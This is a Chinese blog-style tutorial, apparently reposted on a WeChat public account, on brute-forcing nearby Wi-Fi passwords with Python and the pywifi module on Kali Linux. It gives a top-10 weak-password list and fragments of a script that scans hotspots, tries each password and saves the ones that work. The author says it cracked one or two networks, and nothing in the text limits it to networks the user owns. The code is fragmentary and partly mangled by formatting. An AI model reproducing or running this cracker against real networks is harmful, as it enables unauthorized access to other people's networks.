专栏名称: 大数据挖掘DT数据分析
实战数据资源提供。数据实力派社区,手把手带你玩各种数据分析,涵盖数据分析工具使用,数据挖掘算法原理与案例,机器学习,R语言,Python编程,爬虫。如需发布广告请联系: hai299014
目录
相关文章推荐
数据派THU  ·  lintsampler:高效从任意概率分布生 ... ·  6 天前  
数据派THU  ·  梯度累积的隐藏陷阱:Transformer库 ... ·  5 天前  
数据派THU  ·  活动预告丨Python科研应用分享会——Py ... ·  1 周前  
数据派THU  ·  如果你的PyTorch优化器效果欠佳,试试这 ... ·  1 周前  
51好读  ›  专栏  ›  大数据挖掘DT数据分析

如何用python轻松破解wifi密码( 源码 )

大数据挖掘DT数据分析  · 公众号  · 大数据  · 2017-02-08 00:06

正文



数据挖掘入门与实战  公众号: datadw



摘要: 我得说明下这个东西一点都不高端,甚至看起来有点糟糕。而且用的是单线程~,因为过几天要搬家了,于是。。


环境准备

  • python2.7

  • 凑合的linux

  • 差不多的无线网卡

  • pywifi模块

  • 弱口令字典

  • 清除系统中的任何wifi连接记录(非常重要!!!)


首先,这个模块在win下有点鸡肋,作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使用的是Kali 2.0  自带python 2.7.6 ,可直接通过 pip install pywifi 安装。


导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

from pywifi import *
import time
import
sys

字典准备

效率很重要,毕竟这东西跑起来可真慢,下面是天朝用的比较多的wifi弱口令TOP10

  1. 12345678

  2. 123456789

  3. 88888888

  4. 1234567890

  5. 00000000

  6. 87654321

  7. 66668888

  8. 11223344

  9. 147258369

  10. 11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里


print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,
"WIFIID"
,18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,
"KEY"
,"="*70)
#将每一个热点信息逐一进行测试
    for i,x in enumerate(scanres):        
#测试完毕后,成功的结果讲存储到files中
       res = test(nums-i,iface,x,keys,output,testtimes)      
       if res:            open(files,"a").write(res)


扫描周围热点

def scans(face,timeout):
    #开始扫描
    face.scan()
    time.sleep(timeout)   
 #在若干秒后获取扫描结果    return face.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。




stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,

7,x.signal,10,len(key)-n,10,k.replace("\n","")))

            stu.flush()           

            if code == 4:

                face.disconnect()             

                  return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k) 

  return False



案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

  • WIFIID 热点的id号 每跑一个会减1

  • SSID OR BSSID 热点的ssid名或mac地址

  • N 对热点的连接状态,这个在

  • time 当前所花去的时间

  • signal 热点的信号强度,若小越好

  • KEYNUM 测试密码的id 每跑一个会减1

  • KEY 当前测试的密码



结果还不错,各位的安全意识不像以前那么蛋疼了,扫出一两个,其中一个还是自家的 - -

via:https://my.oschina.net/Apathy/blog/821039


新浪微博名称:大数据_机器学习


数据挖掘入门与实战

搜索添加微信公众号:datadw


教你机器学习,教你数据挖掘


长按图片,识别二维码,点关注



  公众号: weic2c   
据分析入门与实战

长按图片,识别二维码,点关注